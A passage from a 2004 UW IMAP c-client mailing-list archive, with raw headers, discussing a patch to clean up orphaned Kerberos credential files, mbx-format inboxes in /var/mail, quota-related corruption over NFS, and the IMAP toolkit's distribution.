(mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3J8g37h024697 for ; Mon, 19 Apr 2004 01:42:03 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3J8g17W032421 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 01:42:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3J8dqG1015710; Mon, 19 Apr 2004 01:39:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3J8ceRS087684 for ; Mon, 19 Apr 2004 01:38:40 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3J8cbmv014549 for ; Mon, 19 Apr 2004 01:38:38 -0700 Received: from smtphost2.dur.ac.uk (smtphost2.dur.ac.uk [129.234.4.209]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id i3J8cWI08997; Mon, 19 Apr 2004 09:38:32 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by smtphost2.dur.ac.uk (8.12.10+Sun/8.11.7) with ESMTP id i3J8cTs4014354; Mon, 19 Apr 2004 09:38:29 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id i3J8cSP03780; Mon, 19 Apr 2004 09:38:28 +0100 (BST) Message-Id: Date: Mon, 19 Apr 2004 09:38:27 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Fredrik Tolf , c-client@u.washington.edu Subject: Re: PAM credential cleanup In-Reply-To: <16514.33669.341481.923582@pc7.dolda2000.com> References: <16514.33669.341481.923582@pc7.dolda2000.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 18 Apr 2004, Fredrik Tolf wrote: > I'm using the UW IMAP imapd in my network on a GNU/Linux host, along > with Kerberos authentication, and plaintext passwords using PAM and > the pam_krb5 module. > > The pam_krb5 module saves the user's decoded ticket in /tmp upon a > call to pam_setcred. However, imapd deliberately doesn't clean up > these tickets when the user logs out, which leaves /tmp on the mail > server filled up with users' tickets. To remedy this, I patched imapd > and ipop3d to fix this, and so I thought I'd send you a patch in case > you want it. The problem is that I don't really know much about the > portability issues in the UW IMAP suite, so the patch isn't really > complete because of that. I would fix it, but I don't know exactly > how. Could I add my (e-)voice in support of addressing this? Some months ago, we, too, had this problem of "/tmp" filling up with literally millions of orphaned krb5 credentials files. (imap-2002e but I think the problem has been around for longer: a copy of "imap-2001a" also has this same code.) My own work around (fudge) was a simpler version than that of Fredrik Tolf: I simply re-enabled the code that had been '#if 0'd out. (I cannot judge on which is "better": his may well be more thorough.) ==================== snip =================== --- src/osdep/unix/ckp_pam.c.orig Tue Apr 30 03:32:27 2002 +++ src/osdep/unix/ckp_pam.c Sat Jan 17 12:26:31 2004 @@ -100,7 +100,7 @@ */ pam_open_session (hdl,NIL); /* make sure account doesn't go inactive */ #endif -#if 0 +#if 1 /* * This is also a problem. Apparently doing this breaks access to DFS home * space (hence the #if 0), but there is a report that not doing it causes ==================== snip =================== The code that should be removing the credentials has been '#if 0'd (i.e. commented out) because of a problem in one particular operating environment, DFS. If that environment needs special treatment, then wouldn't it be much cleaner make the "#if ..." target only that system or feature. (If c-client were using autoconf, I would volunteer to assist a DFS person to code the relevant autoconf test, but we're not so I can't.) Somehow, could this be addressed, please Many thanks. Sorry for not reporting it earlier: I considered it, but thought that I would have been a lone voice, pleading a minority interest corner. It is at least reassuring to know that there are more of us. Thanks again, Mark, for a great product! -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Mon Apr 19 08:05:17 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 08:05:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JF5HlN008205 for ; Mon, 19 Apr 2004 08:05:17 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JF5FYv012824 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 08:05:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3JF33NL015582; Mon, 19 Apr 2004 08:03:04 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JF1Q65051302 for ; Mon, 19 Apr 2004 08:01:26 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JF1O0G024773 for ; Mon, 19 Apr 2004 08:01:25 -0700 Received: from smtphost2.dur.ac.uk (smtphost2.dur.ac.uk [129.234.4.209]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id i3JF1HI03366; Mon, 19 Apr 2004 16:01:17 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by smtphost2.dur.ac.uk (8.12.10+Sun/8.11.7) with ESMTP id i3JF1Fs4008825; Mon, 19 Apr 2004 16:01:15 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id i3JF1Dp05016; Mon, 19 Apr 2004 16:01:13 +0100 (BST) Message-Id: Date: Mon, 19 Apr 2004 16:01:12 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin , c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 15 Apr 2004, Mark Crispin wrote: > On Thu, 15 Apr 2004, David Lee wrote: > > Is there any reason why "/var/mail/$user" (usually in trad. UNIX format) > > cannot itself be in "mbx" format? (Trying it as such seems not to work, > > and this seems to be confirmed by the "docs/drivers.txt" description.) > > That's a good question! Fortunately, there are good answers: > > The spool directory is perceived by a large body of software to be "owned" > by the traditional UNIX mail facility. As such, there is all sorts of > software which will happily append a traditional UNIX format message to a > file in the spool directory without any check to see if, in fact, that > file actually is a traditional UNIX format message. The result is a > corrupted mbx format mailbox. Fair enough, in those many environments where c-client is not the exclusive access to the "/var/mail" area. In our own case, with one local exception, only c-client things access the "/var/mail/$user" area, and we already run with "env_unix.c"/"*sysinbox()" adjusting to use a different, non-default path. (For the record this is "/var/mail/MN/$user" location where MN is uid-mod-100). > You would think "shouldn't programs invoke sendmail, or at least pipe to > /bin/mail or /bin/mail.local or whatever?" Of course! But all too many > programs write directly because "it is more efficient that way." Agreed. Our aforementioned "local exception" took this short cut, and we're happy to regard that as our own problem of own own making that we would need to sort out (and ought to anyway!). > As for philosophical questions: > > There are system management and privacy concerns for not having people's > INBOX in a shared spool directory. > > It is easier to administer quotas when the INBOX is co-located with the > non-INBOX mailboxes. It is perfectly reasonable to set the user's > "mailbox directory" to be something other than the user's UNIX home > directory, and many sites do this. > > Anyone can obtain information about the size, last write, and last read of > anyone else's INBOX in a shared directory. This can be, in certain > circumstances, extremely useful for bad guys. But they are all independent of the format (UNIX v. mbx etc.) in that "/var/mail" area, aren't they? All we're really after is a way for the INBOX to continued to be in some area that isn't the home directory, and the existing "/var/mail/.../$user" seemed a reasonable thought. (The only necessary change is to be "mbx" rather than UNIX format.) A further question: if the INBOX is in the home directory, and an incoming message would take it over quota, what is _supposed_ to happen? With a test account, I put an mbx format "INBOX" into the home directory and arranged for that homedir to be almost up to quota. I then delivered some messages: 1. They delivered until the quota was exceeed, then backed up in "/var/spool/mqueue" with EX_TEMPFAIL: that seems reasonable. 2. At the point where quota is exceeded, the "INBOX", previously OK, went corrupt. Pine showed: Invalid UID 0000000b in message 11, rebuilding then a few seconds later: SELECT failed: Last message (at 274832) runs past end of file (291881 > 290816) That seems unreasonable. The one that tips the quota-balance also seems to corrupt the file. (imap-2002e, by the way. And the home directories are on a NFS server, so have to be NFS mounted onto the c-client email machines.) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Mon Apr 19 09:56:16 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 09:56:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JGuGql014706 for ; Mon, 19 Apr 2004 09:56:16 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JGuE7V023888 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 09:56:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3JGtQbj003666; Mon, 19 Apr 2004 09:55:26 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JGridr007808 for ; Mon, 19 Apr 2004 09:53:45 -0700 Received: from goofy.effenberger.org (goofy.effenberger.org [217.11.51.18]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JGqqb2018689 for ; Mon, 19 Apr 2004 09:52:52 -0700 Received: from floeff1 (pD9EBBD86.dip.t-dialin.net [217.235.189.134]) by goofy.effenberger.org (SMTP) with ESMTP id 0BC4B25C025; Mon, 19 Apr 2004 18:52:49 +0200 (CEST) Message-Id: <013801c4262e$bb64e800$0500a8c0@effenberger> Date: Mon, 19 Apr 2004 18:52:39 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Florian Effenberger" To: "Mark Crispin" Cc: Subject: Re: UW-IMAPD announcement list References: <000701c42585$cf8fc380$0500a8c0@effenberger> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=XIIIIII, Probability=16%, Report='X_NJABL_DUL 1, PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __HAS_MSGID 0, REFERENCES 0.000, __OUTLOOK_MSGID_1 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, > So, if you are on the pine announcements list, you are effectively getting > announcements of new IMAP toolkit versions. Sorry, but is IMAP toolkit the same as the UW IMAPD "server"? Thanks Florian From pinedev@shivax2.cac.washington.edu Mon Apr 19 10:29:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 10:29:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHTo2a016752 for ; Mon, 19 Apr 2004 10:29:50 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHTmcO020021 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 10:29:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3JHPB4t015900; Mon, 19 Apr 2004 10:25:12 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHOMfS073352 for ; Mon, 19 Apr 2004 10:24:22 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHOLLs022180 for ; Mon, 19 Apr 2004 10:24:21 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHOKpS001207; Mon, 19 Apr 2004 10:24:20 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHOK0B016598; Mon, 19 Apr 2004 10:24:20 -0700 Message-Id: Date: Mon, 19 Apr 2004 10:24:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Florian Effenberger Cc: c-client@u.washington.edu Subject: Re: UW-IMAPD announcement list In-Reply-To: <013801c4262e$bb64e800$0500a8c0@effenberger> References: <000701c42585$cf8fc380$0500a8c0@effenberger> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Apr 2004, Florian Effenberger wrote: > Sorry, but is IMAP toolkit the same as the UW IMAPD "server"? The IMAP toolkit is a distribution that includes the c-client library and several utility programs and servers, including UW imapd. UW imapd is not distributed by itself; it requires the rest of the toolkit to build. Although the IMAP toolkit is a separate distribution, it is also distributed as part of the Pine distribution. There is normally no need to get the IMAP toolkit distribution if you already have the Pine distribution. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Apr 19 10:59:47 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 10:59:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHxk8A018589 for ; Mon, 19 Apr 2004 10:59:46 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHxiwH021717 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 10:59:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3JHvjtu016496; Mon, 19 Apr 2004 10:57:45 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHubDH053962 for ; Mon, 19 Apr 2004 10:56:37 -0700 Received: from goofy.effenberger.org (goofy.effenberger.org [217.11.51.18]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3JHuZFd020582 for ; Mon, 19 Apr 2004 10:56:36 -0700 Received: from floeff1 (pD9EBBD86.dip.t-dialin.net [217.235.189.134]) by goofy.effenberger.org (SMTP) with ESMTP id 4554625C025; Mon, 19 Apr 2004 19:56:33 +0200 (CEST) Message-Id: <000e01c42637$a311b540$0500a8c0@effenberger> Date: Mon, 19 Apr 2004 19:56:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Florian Effenberger" To: "Mark Crispin" Cc: Subject: Re: UW-IMAPD announcement list References: <000701c42585$cf8fc380$0500a8c0@effenberger> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=XIIIIII, Probability=16%, Report='X_NJABL_DUL 1, PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __HAS_MSGID 0, REFERENCES 0.000, __OUTLOOK_MSGID_1 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, thanks, I'll subscribe to pine-announce ;) Florian From pinedev@shivax2.cac.washington.edu Mon Apr 19 18:33:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 18:33:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1X4Fq011598 for ; Mon, 19 Apr 2004 18:33:04 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1X2hG015352 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 18:33:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3K1VUg2017914; Mon, 19 Apr 2004 18:31:30 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1T7FC041498 for ; Mon, 19 Apr 2004 18:29:07 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1T6R3029532 for ; Mon, 19 Apr 2004 18:29:06 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1T5vk014258; Mon, 19 Apr 2004 18:29:05 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3K1T453011126 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 19 Apr 2004 18:29:04 -0700 Message-Id: Date: Mon, 19 Apr 2004 18:29:05 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Apr 2004, David Lee wrote: > A further question: if the INBOX is in the home directory, and an incoming > message would take it over quota, what is _supposed_ to happen? If delivery fails due to over quota, it is supposed to revert the file to its previous state by truncating the file to the pre-delivery size. > (imap-2002e, by the way. And the home directories are on a NFS server, so > have to be NFS mounted onto the c-client email machines.) Are you saying that the mailbox file is accessed via NFS? mbx format is not guaranteed to work via NFS. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Apr 20 09:03:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 2004 09:03:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3KG3bOS016038 for ; Tue, 20 Apr 2004 09:03:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3KG3ZWx005162 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Apr 2004 09:03:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3KG2ZHx013886; Tue, 20 Apr 2004 09:02:36 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3KG17m2059506 for ; Tue, 20 Apr 2004 09:01:07 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3KG15Rs009462 for ; Tue, 20 Apr 2004 09:01:05 -0700 Received: from smtphost2.dur.ac.uk (smtphost2.dur.ac.uk [129.234.4.209]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id i3KFxCI00329; Tue, 20 Apr 2004 16:59:12 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by smtphost2.dur.ac.uk (8.12.10+Sun/8.11.7) with ESMTP id i3KFxAs4024838; Tue, 20 Apr 2004 16:59:10 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id i3KFx9309400; Tue, 20 Apr 2004 16:59:09 +0100 (BST) Message-Id: Date: Tue, 20 Apr 2004 16:59:08 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Apr 2004, Mark Crispin wrote: > On Mon, 19 Apr 2004, David Lee wrote: > > A further question: if the INBOX is in the home directory, and an incoming > > message would take it over quota, what is _supposed_ to happen? > > If delivery fails due to over quota, it is supposed to revert the file to > its previous state by truncating the file to the pre-delivery size. OK. Thanks. > > > (imap-2002e, by the way. And the home directories are on a NFS server, so > > have to be NFS mounted onto the c-client email machines.) > > Are you saying that the mailbox file is accessed via NFS? mbx format is > not guaranteed to work via NFS. Indeed, that would be NFS access. And our NFS settings for the homedir are historically weak, allowing all sorts of attribute caching. So I can well believe that our corruption on this test account is because of that: we're asking for trouble in such a context! Indeed, leading up to this test, we had anticpated that this might be a problem, but I forgot about it in yesterday's reporting. Sorry. So for the moment you may safely regard that corruption report as our local problem (nothing for you to worry about) almost certainly caused by our local inappropriate NFS settings. Just for interest, our "/var/mail" area (UNIX format inboxes) is also NFS-mounted from the central NetApp fileserver onto the cluster of front-end IMAP/POP/tmail/dmail servers (RH9; Solaris 8). But here we have very strong NFS arguments: rw,noac,actimeo=0 and see no problems. (I realise the IMAP distribution urges great caution with NFS in any email context, but these systems (RH9, Solaris8, NetApp) seem to have good NFS implementations, so with strong NFS arguments the combination seems OK.) (But, to return to our scheduled programming, it would be nice if there were the option of "/var/mail" accepting an "mbx" format!) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Fri Apr 23 11:40:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Apr 2004 11:40:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIeZ3I032555 for ; Fri, 23 Apr 2004 11:40:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIeXrq029331 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Apr 2004 11:40:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3NIdWMO012426; Fri, 23 Apr 2004 11:39:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu 